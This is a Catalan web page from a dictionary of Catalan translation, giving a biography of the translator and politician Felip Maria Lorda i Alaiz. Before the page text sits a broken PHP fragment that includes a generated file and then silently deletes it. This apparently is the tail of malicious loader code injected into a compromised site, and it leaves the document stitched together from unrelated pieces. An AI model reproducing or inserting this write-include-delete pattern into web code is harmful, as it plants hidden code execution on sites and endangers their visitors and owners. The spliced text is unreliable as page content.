");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Lorda i Alaiz, Felip Maria
Facebook Twitter
Portada > Diccionari de la traducció catalana > Lorda i Alaiz, Felip Maria
Lorda i Alaiz, Felip Maria (Almacelles, 1918 – Barcelona, 1992). Professor, crític literari i polític. Va estudiar filologia clàssica a Saragossa i a Madrid i va doctorar-se en filologia romànica per la Universitat de Barcelona amb una tesi, inèdita, sobre les dues traduccions de l’Odissea de Carles Riba (1968). El 1948 va traslladar-se als Països Baixos per treballar de traductor al castellà en una editorial. En la dècada dels seixanta va iniciar la tasca de lector de llengua i literatura espanyola a la Universiteit van Amsterdam. És autor de dues aproximacions a la vida i l’obra d’Spinoza (1980) i d’Erasme (1981). El 1977 encetava la carrera política com a diputat pel Partit dels Socialistes de Catalunya. Al català només va acostar una obra de literatura juvenil de l’escriptor neerlandès Jap ter Haar, el 1986, la qual narra el setge de Leningrad. Al castellà va traduir un centenar d’obres d’autors neerlandesos, com ara Harry Mulisch, Abel J. Herzberg o Jan de Hartog, entre molts d’altres; a més, va confegir diverses seleccions de Teatro neerlandés contemporáneo (1959), Teatro inglés de Osborne hasta hoy (1964) o Teatro neerladés de la Edad Media(1968). [Annacris Mora i Figuera]
HAAR, Jap Ter. Borís. Barcelona: Empúries, 1986.
Amb el suport de: